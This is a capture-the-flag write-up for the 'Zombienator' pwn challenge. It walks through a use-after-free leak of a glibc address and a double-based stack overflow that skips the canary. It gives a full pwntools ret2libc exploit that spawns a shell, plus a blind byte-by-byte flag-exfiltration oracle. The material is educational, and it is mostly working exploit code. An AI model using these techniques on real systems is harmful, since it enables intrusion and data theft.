Zombienator
10 minutes to read
We are given a 64-bit binary called zombienator
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Reverse engineering
If we open the binary in Ghidra, we will see this decompiled C source code for the main
function:
void main() {
ulong option;
banner();
while (true) {
while (true) {
while (true) {
printf("\n##########################\n# #\n# 1. Create Zombienator #\ n# 2. Remove Zombienator #\n# 3. Display Zombienator #\n# 4. Attack #\n# 5. Exit #\n# #\n##########################\n\n> > ");
option = read_num();
if (option != 4) break;
attack();
}
if (4 < option) goto LAB_00101a2a;
if (option != 3) break;
display();
}
if (3 < option) break;
if (option == 1) {
create();
} else {
if (option != 2) break;
removez();
}
}
LAB_00101a2a:
puts("\nGood luck!\n");
// WARNING: Subroutine does not return
exit(0x520);
}
What we have is a typical menu from a heap exploitation challenge:
$ ./zombienator
⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠖⠊⠉⠉⠉⠉⢉⠝⠉⠓⠦⣄
⠀⠀⠀⠀⠀⠀⢀⡴⣋⠀⠀⣤⣒⡠⢀⠀⠐⠂⠀⠤⠤⠈⠓⢦⡀
⠀⠀⠀⠀⠀⣰⢋⢬⠀⡄⣀⠤⠄⠀⠓⢧⠐⠥⢃⣴⠤⣤⠀⢀⡙⣆
⠀⠀⠀⠀⢠⡣⢨⠁⡘⠉⠀⢀⣤⡀⠀⢸⠀⢀⡏⠑⠢⣈⠦⠃⠦⡘⡆
⠀⠀⠀⠀⢸⡠⠊⠀⣇⠀⠀⢿⣿⠇⠀⡼⠀⢸⡀⠠⣶⡎⠳⣸⡠⠃⡇
⢀⠔⠒⠢⢜⡆⡆⠀⢿⢦⣤⠖⠒⢂⣽⢁⢀⠸⣿⣦⡀⢀⡼⠁⠀⠀⡇⠒⠑⡆
⡇⠀⠐⠰⢦⠱⡤⠀⠈⠑⠪⢭⠩⠕⢁⣾⢸⣧⠙⡯⣿⠏⠠⡌⠁⡼⢣⠁⡜⠁
⠈⠉⠻⡜⠚⢀⡏⠢⢆⠀⠀⢠⡆⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⣼⠾⢬⣹⡾
⠀⠀⠀⠉⠀⠉⠀⠀⠈⣇⠀⠀⠀⣴⡟⢣⣀⡔⡭⣳⡈⠃⣼⠀⠀⠀⣼⣧
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⠀⠀⣸⣿⣿⣿⡿⣷⣿⣿⣷⠀⡇⠀⠀⠀⠙⠊
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣠⠀⢻⠛⠭⢏⣑⣛⣙⣛⠏⠀⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡏⠠⠜⠓⠉⠉⠀⠐⢒⡒⡍⠐⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠒⠢⠤⣀⣀⣀⣀⣘⠧⠤⠞⠁
+--------------------+
| Threat Level: HIGH |
+--------------------+
##########################
# #
# 1. Create Zombienator #
# 2. Remove Zombienator #
# 3. Display Zombienator #
# 4. Attack #
# 5. Exit #
# #
##########################
>>
We can create, remove and display zombienators. Additionally, we can attack.
Allocation function
In create
:
- We can allocate a zombienator with up to
0x82
bytes - We can determine its position in the array
- The maximum number of zombienators is
10
void create() {
undefined8 *puVar1;
ulong size;
ulong line;
void *p_zombie;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\nZombienator\'s tier: ");
size = read_num();
if ((size < 0x83) && (size != 0)) {
printf("\nFront line (0-4) or Back line (5-9): ");
line = read_num();
if (line < 10) {
p_zombie = malloc(size);
*(void **) (z + line * 8) = p_zombie;
puVar1 = *(undefined8 **) (z + line * 8);
*puVar1 = 0x616e6569626d6f5a;
puVar1[1] = 0x6461657220726f74;
*(undefined2 *) (puVar1 + 2) = 0x2179;
*(undefined *) ((long) puVar1 + 0x12) = 0;
printf("\n%s[+] Zombienator created!%s\n", &DAT_0010203f, &DAT_00102008);
} else {
error("[-] Invalid position!");
}
} else {
error("[-] Cannot create Zombienator for this tier!");
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Free function
In removez
we have one issue, which is that the zombienator slot is not set to NULL
after it is freed. As a result, we have a potential Use After Free or even a Double Free vulnerability:
void removez() {
ulong index;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\nZombienator\'s position: ");
index = read_num();
if (index < 10) {
if (*(long *) (z + index * 8) == 0) {
error("[-] There is no Zombienator here!");
} else {
free(*(void **) (z + index * 8));
printf("\n%s[+] Zombienator destroyed!%s\n", &DAT_0010203f, &DAT_00102008);
}
} else {
error("[-] Invalid position!");
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Show function
The function display
will print all zombienators, no matter if they are freed or not (since they are not actually removed from the array). Therefore, we have a Use After Free vulnerability that we can exploit to get memory leaks:
void display() {
long in_FS_OFFSET;
ulong i;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
putchar(L'\n');
for (i = 0; i < 10; i++) {
if (*(long *) (z + i * 8) == 0) {
fprintf(stdout, "Slot [%d]: Empty\n", i);
} else {
fprintf(stdout, "Slot [%d]: %s\n", i, *(undefined8 *) (z + i * 8));
}
}
putchar(L'\n');
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
For example:
$ ./zombienator
...
##########################
# #
# 1. Create Zombienator #
# 2. Remove Zombienator #
# 3. Display Zombienator #
# 4. Attack #
# 5. Exit #
# #
##########################
>> 1
Zombienator's tier: 24
Front line (0-4) or Back line (5-9): 0
[+] Zombienator created!
...
>> 3
Slot [0]: Zombienator ready!
Slot [1]: Empty
...
>> 2
Zombienator's position: 0
[+] Zombienator destroyed!
...
>> 3
Slot [0]: 8Y
Slot [1]: Empty
...
There we have a memory leak: Slot [0]: 8Y
.
Attack function
Last but not least, we have attack
:
void attack() {
long in_FS_OFFSET;
char number;
ulong i;
double attacks [33];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\nNumber of attacks: ");
__isoc99_scanf("%hhd", &number);
for (i = 0; i < (ulong) (long) number; i++) {
printf("\nEnter coordinates: ");
__isoc99_scanf("%lf", attacks + i);
}
fclose(stderr);
fclose(stdout);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Here we have a Buffer Overflow vulnerability since the array attacks
has a reserved size of 33
elements, but we are asked how many attacks we want. Therefore, if we choose more than 33
, we will introduce values outside the reserved buffer.
The difference with a typical Buffer Overflow vulnerability is that we must use floating-point (double
) numbers instead of raw bytes, but it’s just a format conversion.
Exploit strategy
Since the binary has NX and PIE enabled, we can’t exploit the Buffer Overflow directly, because the binary addresses are affected by ASLR.
However, we are able to leak Glibc addresses with the heap part of this challenge. For instance, we can allocate all zombienators, remove all of them and display their information. We will get a lot of memory leaks.
In fact, since the binary uses Glibc 2.35, there is Tcache. If we free more than 7 chunks of the same size, the next freed chunk will go to the Fast Bin (0x20
to 0x80
) or the Unsorted Bin (0x90
and higher sizes). Notice that 0x82
is not a 0x80
-sized chunk, so it will go to the Unsorted Bin when the Tcache is full. And Unsorted Bin chunks hold two Glibc pointers fd
and bk
which point to main_arena
.
So, once we have a Glibc address, we can bypass ASLR and find ROP gadgets to perform a ret2libc ROP chain with the Buffer Overflow vulnerability.
Exploit development
First of all, we will use these helper functions:
def create(tier: int, position: int):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b"Zombienator's tier: ", str(tier).encode())
p.sendlineafter(b'Front line (0-4) or Back line (5-9): ', str(position).encode())
def remove(position: int):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b"Zombienator's position: ", str(position).encode())
def display():
p.sendlineafter(b'>> ', b'3')
slots = []
for _ in range(10):
p.recvuntil(b'Slot [')
p.recv(4)
slots.append(p.recvline().strip())
return slots
def attack(coordinates: List[Union[int, str]]):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'Number of attacks: ', str(len(coordinates)).encode())
for coordinate in coordinates:
p.sendlineafter(b'Enter coordinates: ', str(coordinate).encode())
Leaking memory addresses
The first stage is to leak memory with the previous approach:
gdb.attach(p, 'continue')
for i in range(10):
create(0x82, i)
for i in range(10):
remove(i)
for i, data in enumerate(display()):
print(i, data)
And we have these leaks:
$ python3 solve.py
[*] './zombienator'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './zombienator': pid 2150282
[*] running in new terminal: ['/usr/bin/gdb', '-q', './zombienator', '2150282', '-x', '/tmp/pwnunkt19g4.gdb']
[+] Waiting for debugger: Done
0 b't\xa3sV\x05'
1 b'\xd4\xe1DlbU'
2 b'D\xe0DlbU'
3 b'\xb4\xe0DlbU'
4 b'$\xe7DlbU'
5 b'\x94\xe7DlbU'
6 b'\x04\xe6DlbU'
7 b'\xe0\x9c\xc1\xf9\xb8\x7f'
8 b'Zombienator ready!'
9 b'Zombienator ready!'
[*] Switching to interactive mode
##########################
# #
# 1. Create Zombienator #
# 2. Remove Zombienator #
# 3. Display Zombienator #
# 4. Attack #
# 5. Exit #
# #
##########################
>> $
Notice that we have a Glibc address at index 7
. In GDB we can determine the offset to the base address:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x000055673a0be000 0x000055673a0bf000 0x0000000000000000 r-- ./zombienator
0x000055673a0bf000 0x000055673a0c0000 0x0000000000001000 r-x ./zombienator
0x000055673a0c0000 0x000055673a0c1000 0x0000000000002000 r-- ./zombienator
0x000055673a0c1000 0x000055673a0c2000 0x0000000000002000 r-- ./zombienator
0x000055673a0c2000 0x000055673a0c3000 0x0000000000003000 rw- ./zombienator
0x000055673a374000 0x000055673a395000 0x0000000000000000 rw- [heap]
0x00007fb8f9a00000 0x00007fb8f9a28000 0x0000000000000000 r-- ./glibc/libc.so.6
0x00007fb8f9a28000 0x00007fb8f9bbd000 0x0000000000028000 r-x ./glibc/libc.so.6
0x00007fb8f9bbd000 0x00007fb8f9c15000 0x00000000001bd000 r-- ./glibc/libc.so.6
0x00007fb8f9c15000 0x00007fb8f9c19000 0x0000000000214000 r-- ./glibc/libc.so.6
0x00007fb8f9c19000 0x00007fb8f9c1b000 0x0000000000218000 rw- ./glibc/libc.so.6
0x00007fb8f9c1b000 0x00007fb8f9c28000 0x0000000000000000 rw-
0x00007fb8f9db0000 0x00007fb8f9db5000 0x0000000000000000 rw-
0x00007fb8f9db5000 0x00007fb8f9db7000 0x0000000000000000 r-- ./glibc/ld-linux-x86-64.so.2
0x00007fb8f9db7000 0x00007fb8f9de1000 0x0000000000002000 r-x ./glibc/ld-linux-x86-64.so.2
0x00007fb8f9de1000 0x00007fb8f9dec000 0x000000000002c000 r-- ./glibc/ld-linux-x86-64.so.2
0x00007fb8f9ded000 0x00007fb8f9def000 0x0000000000037000 r-- ./glibc/ld-linux-x86-64.so.2
0x00007fb8f9def000 0x00007fb8f9df1000 0x0000000000039000 rw- ./glibc/ld-linux-x86-64.so.2
0x00007ffe9c77a000 0x00007ffe9c79b000 0x0000000000000000 rw- [stack]
0x00007ffe9c7c3000 0x00007ffe9c7c7000 0x0000000000000000 r-- [vvar]
0x00007ffe9c7c7000 0x00007ffe9c7c9000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
gef➤ p/x 0x7fb8f9c19ce0 - 0x00007fb8f9a00000
$1 = 0x219ce0
Getting RCE
This part should be straight forward, it’s just a ret2libc ROP chain with floating-point numbers:
glibc.address = u64(display()[7].ljust(8, b'\0')) - 0x219ce0
p.success(f'Glibc base address: {hex(glibc.address)}')
rop = ROP(glibc)
payload = [0] * 33
payload += [
'.',
0,
unpack('d', p64(rop.ret.address))[0],
unpack('d', p64(rop.rdi.address))[0],
unpack('d', p64(next(glibc.search(b'/bin/sh'))))[0],
unpack('d', p64(glibc.sym.system))[0],
]
attack(payload)
p.interactive()
Basically, we are entering 33
numbers to fill the reserved buffer. The next value on the stack is the canary, which protects from Buffer Overflow exploits. However, if this value is not modified before executing the return
instruction the program just continues. Notice that the program uses scanf
to read the floating-point numbers. We can simply enter .
to make scanf
skip this number. Next, we have the saved $rbp
and then the saved $rip
(the return address). Here we introduce the ret2libc ROP chain and we should get a shell (observe the additional ret
gadget to prevent stack alignment issues).
If we run it, we will get a shell:
$ python3 solve.py
[*] './zombienator'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './zombienator': pid 2162115
[+] Glibc base address: 0x7f6c56c00000
[*] Loaded 219 cached gadgets for 'glibc/libc.so.6'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
It looks like it failed, but we do have a shell:
$ python3 solve.py
[*] './zombienator'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './zombienator': pid 2163908
[+] Glibc base address: 0x7fcd78a00000
[*] Loaded 219 cached gadgets for 'glibc/libc.so.6'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
$ whoami
$ whoami > whoami.txt
$ exit
$
[*] Process './zombienator' stopped with exit code 0 (pid 2163908)
[*] Got EOF while sending in interactive
$ cat whoami.txt
rocky
The problem here is that stdout
and stderr
are closed in attack
, so we can’t read outputs, but we can still use stdin
.
Flag exfiltration
There are several approaches to get a proper shell, but during the CTF I came up with a boolean-based oracle:
In this situation, I am able to execute commands but I don’t see the output. With this, I tried to get the flag byte by byte. The idea is to test characters in a loop until we get the correct one. At that point, we call exit
and close the connection. As a result, we know when the connection is closed and can determine which is the correct character.
The shell command I used is this one:
$ sh
$ cut -c 1-1 flag.txt | grep H
H
$ echo $?
0
$ cut -c 1-1 flag.txt | grep A
$ echo $?
1
Notice that when the character is correct, we have an exit code 0
, otherwise we have 1
. Using this, we can add && exit
to close the connection when the character is correct.
For the remote exfiltration, I added a conversion to hexadecimal to avoid special characters:
$ cut -c 1-1 flag.txt | xxd -p | grep 480a
480a
$ cut -c 1-1 flag.txt | xxd -p | grep 410a
try:
for c in range(0x20, 0x7f):
p.sendline(f"cut -c {len(flag) + 1}-{len(flag) + 1} flag.txt | xxd -p | grep {c:02x}0a && exit".encode())
sleep(.1)
p.sendline(b'echo')
except EOFError:
flag.append(c - 1)
Moreover, I added a sanity check on the Glibc base address, to avoid errors:
if not hex(glibc.address).startswith('0x7') or not hex(glibc.address).endswith('000'):
return
Now, we must execute the main
function until we have the complete flag:
if __name__ == '__main__':
flag = []
flag_prog = log.progress('Flag')
while ord('}') not in flag:
flag_prog.status(bytes(flag).decode())
with context.local(log_level='CRITICAL'):
p = get_process()
main()
p.close()
flag_prog.success(bytes(flag).decode())
Flag
And here’s the flag:
$ python3 solve.py 94.237.63.93:47583
[*] './zombienator'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Flag: HTB{tc4ch3d_d0ubl3_numb3r5_4r3_0p}
The full exploit code is here: solve.py
.